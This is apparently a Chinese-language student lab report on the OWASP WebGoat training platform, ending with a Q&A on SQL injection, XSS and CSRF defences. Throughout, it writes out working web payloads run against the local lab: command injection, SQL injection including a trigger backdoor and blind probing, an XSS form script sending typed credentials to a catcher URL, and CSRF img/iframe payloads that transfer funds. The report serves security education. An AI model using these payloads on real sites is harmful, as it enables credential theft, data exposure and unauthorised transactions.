1、實踐內容javascript
一、WebGoat安裝html
二、SQL注入攻擊java
·命令注入(Command Injection)web
·數字型注入(Numeric SQL Injection)正則表達式
·日誌欺騙(Log Spoofing)sql
·SQL 注入(LAB: SQL Injection)數據庫
·字符串注入(String SQL Injection)瀏覽器
·數據庫後門(Database Backdoors)安全
·數字型盲注入(Blind Numeric SQL Injection)服務器
·字符串型盲注入(Blind String SQL Injection)
三、XSS攻擊
·XSS 釣魚(Phishing with XSS)
·存儲型XSS攻擊(Stored XSS Attacks)
·反射型XSS攻擊(Reflected XSS Attacks)
四、CSRF攻擊
·跨站請求僞造(Cross Site Request Forgery (CSRF))
·繞過 CSRF 確認( CSRF Prompt By‐Pass)
2、實踐過程
一、WebGoat安裝
WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,目前提供的訓練課程有不少,包含了XSS、線程安全、SQL注入、訪問控制、隱藏字段、Cookie等。參考網址
·WebGoat默認使用8080端口
,因此開啓前先用指令 netstat -tupln | grep 8080 查看端口是否被佔用
·若是被佔用,用 kill 指令進程號
終止佔用8080端口
的進程。
·普通安裝,命令行輸入 java -jar webgoat-container-7.0.1-war-exec.jar
·瀏覽器轉:localhost:8080/WebGoat
用默認用戶名密碼登陸便可。
·可是這個時候左側欄是沒有出現學習課程的,因此要下載安裝配置一下gdk,參考這篇連接整一下(下圖是安裝配置前)
二、SQL注入攻擊
(1)命令注入(Command Injection)
·概念:命令注入攻擊對任何一個以參數驅動的站點來講都是一個嚴重威脅。這種攻擊技術背後的技術方法,簡單易學,能形成大範圍的損害,危及系統安全。儘管這類風險數目使人難以置信,互聯網中的系統很容易受到這種形式的攻擊。
·右鍵點擊頁面,選擇inspect Element
審查網頁元素對源代碼進行修改,在複選框中任意一欄的代碼,右鍵單擊後,選擇Edit At Html
進行修改,添加 "& netstat -an & ipconfig" 最後點代碼其餘位置保存修改。
·點擊view
,能夠看到執行指令後的網絡端口使用狀況和IP地址。攻擊成功!
(2)數字型注入(Numeric SQL Injection)
·概念:注入數字型數據(如:永真式)達到注入的效果。
·右鍵點擊頁面,選擇inspect Element
審查網頁元素對源代碼進行修改,在選中的城市編號Value值
中添加 or 1=1
·顯示全部城市的天氣狀況,攻擊成功!
(3)日誌欺騙(Log Spoofing)
·概念:經過在日誌文件中插入腳本實現欺騙。
·前提:本題目接受用戶輸入的任何一個用戶名,並將其追加到日誌文件中。利用入回車(0D%)和換行符(%0A),在 username 中填入 ypc%0d%0aLogin Succeeded for username: admin
·攻擊者能夠利用這種方式向日志文件中添加惡意腳本,腳本的返回信息管理員可以經過瀏覽器看到。好比,將 admin <script>alert(document.cookie)</script> 做爲用戶名輸入,能夠看到彈窗的cookie信息。
(4)字符串注入(String SQL Injection)
·概念:經過注入字符串繞過認證
·正常狀況下只能查詢到用戶名對應的信用卡號碼,輸入查詢的用戶名 Smith' or 1=1-- (Smith 和1=1都成了查詢的條件,而1=1是恆等式,所以能查詢到表裏面的全部數據)
·獲得全部用戶的信用卡號碼,攻擊成功!
(5)數據庫後門(Database Backdoors)
·輸入 101 ,獲得該用戶的信息。咱們能夠看到,輸入的語句沒有驗證,很容易進行 SQL 注入
·輸入注入語句 101; update employee set salary=18000 執行兩個語句
·輸入 101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='ypp@qq.com'WHERE userid = NEW.userid
·BEFORE/AFTER
參數指定了觸發執行的時間,在事件以前或是以後
·FOR EACH ROW
表示任何一條記錄上的操做知足觸發事件都會觸發該觸發器,也就是說觸發器的觸發頻率是針對每一行數據
(6)字符串型盲注入(Blind String SQL Injection)
·與數字型盲注入相似,只是將注入的數字換爲字符串而已
·例如:輸入 101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' ); 取得 pin 字段數值的第一個字母,並判斷其是否比字母「M」小,SUBSTRING 語法爲 SUBSTRING(STRING,START,LENGTH)
·一樣使用二分法進行測試,最後獲得pin字段爲Jill
三、XSS攻擊
概念:跨站腳本攻擊是經過HTML注入劫持用戶的瀏覽器,任意構造用戶當前瀏覽的HTML內容,能夠模擬用戶當前的操做。這裏實驗的是一種獲取用戶名和密碼的攻擊。
(1)XSS 釣魚(Phishing with XSS)
·編寫一段腳本讀取被攻擊者在表單上輸入的用戶名和密碼信息,將這些信息發送給捕獲這些信息的 WebGoat,一個帶用戶名和密碼輸入框的表格以下:
·在XSS
-Phishing with XSS
搜索上面代碼,能夠看到頁面中增長了一個表單
·如今咱們須要一段腳本:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
·這段代碼會讀取咱們在表單上輸入的用戶名和密碼信息,將這些信息發送給捕獲這些信息的WebGoat。
·將上面兩段代碼合併搜索
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
(2)存儲型XSS攻擊(Stored XSS Attacks)
·在Message中構造語句 <script>alert("20175133 attack succeed!");</script> ,Title
任意輸入。提交後可發現剛建立ypp-5133
·點擊ypp-5133
,而後會彈出一個對話框,證實XSS攻擊成功。
四、CSRF攻擊
概念:跨站請求僞造,儘管聽起來像跨站腳本(XSS),但它與XSS很是不一樣,XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性.
(1)跨站請求僞造(Cross Site Request Forgery (CSRF))
·點擊XSS
-Cross Site Request Forgery(CSRF)
·查看頁面右下方Parameters
中的src
和menu
值,個人分別爲322
和900
·在Message
框中輸入
<img src="http://localhost:8080/WebGoat/attack?Screen=322&menu=900&transferFunds=5000" width="1" height="1" />
·以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊Submit
提交(其中語句中的&transferFunds=5000
,即轉走的受害人的金額;寬高設置成1像素的目的是隱藏該圖片)
(2)繞過 CSRF 確認( CSRF Prompt By‐Pass)
·點擊XSS
-CSRF Prompt By-Pass
·同上面的攻擊,查看頁面右下方的Parameters
中的src
和menu
值,並輸入任意的Title,message框中輸入代碼
<iframe src="attack?Screen=321&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=321&menu=900&transferFunds=CONFIRM"> </iframe>
·點擊Submit
生成以Title命名的連接,點擊連接,攻擊成功
3、問題回答
1.SQL注入攻擊原理,如何防護?
原理:
(1)SQL注入,就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
(2)sql注入攻擊是利用是指利用設計上的漏洞,在目標服務器上運行Sql語句以及進行其餘方式的攻擊,動態生成Sql語句時沒有對用戶輸入的數據進行驗證是Sql注入攻擊得逞的主要緣由。如:在用戶名、密碼登輸入框中輸入一些',--,#等特殊字符,實現引號閉合、註釋部分SQL語句,利用永真式實現登陸、顯示信息等目的。
防護:
(1)關閉或刪除沒必要要的交互式提交表單頁面;
(2)對漏洞注入點相關代碼進行關鍵字的過濾(如:利用正則表達式),以規範代碼安全性;
(3)不要在服務器端放置備份的文件以避免受到感染,或備份的文件含有漏洞,形成切入點;
(4)將數據庫裏的內容進行加密處理使其不具備特殊的意義。
2.XSS攻擊的原理,如何防護?
原理:
(1)XSS:跨站腳本。攻擊者利用網站漏洞(一般這些漏洞是指網站後臺處理程序沒有很好的對用戶輸入進行過濾),輸入能夠顯示在頁面上的、對其餘用戶形成影響的HTML代碼;因爲受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被注入惡意腳本(如:html標籤或者javascript代碼)的頁面後,這段惡意腳本能夠順利執行,實現獲取用戶cookie並能夠利用用戶身份進行非法操做的目的。
防護:
(1)用戶角度:提升防範意識,不要輕易輸入我的信息,如用戶名密碼;
(2)網頁製做者角度:
對輸入和URL參數進行過濾
在輸出數據以前對潛在的威脅的字符進行編碼、轉義
3.CSRF攻擊原理,如何防護?
原理:
(1)CSRF :跨站請求僞造。
CSRF就是冒名登陸。跨站請求僞造的核心本質是竊取用戶的Session,或者說Cookie,由於目前主流狀況Session都是存在Cookie中.攻擊者並不關心被害者具體賬號和密碼,由於一旦用戶進行了登陸,Session就是用戶的惟一憑證,只要攻擊者可以獲得Session,就能夠假裝成被害者進入服務器.
(2)主要是當訪問網站A時輸入用戶名和密碼,在經過驗證後,網站A產生Cookie信息並返回,此時登陸網站A成功,可正常發送請求到網站A。在未退出網站A前,若訪問另外一個網站B,網站B可返回一些攻擊性代碼並請求訪問網站A;所以在網站B的請求下,向網站A發出請求。但網站A不知道該請求惡意的,所以仍是會執行該惡意代碼
防護:
(1)驗證請求中的Token
(2)驗證 Referer
(3)添加加隨機驗證
(4)設定cookie域
4、實踐體會
經過對Webgoat的使用,主要學習了SQL注入攻擊、XSS攻擊和CSRF攻擊。對於這三個方面的攻擊,分爲不少小模塊的學習。在整個學習過程當中,發現咱們此次的實驗攻擊不少部分都是關於構造語句、更改語句進行的攻擊,我以爲這個部分雖然如今實現很簡單,可是經過學習的不斷深刻,如何可以將攻擊高層次化,更加完整,是咱們學習的目標。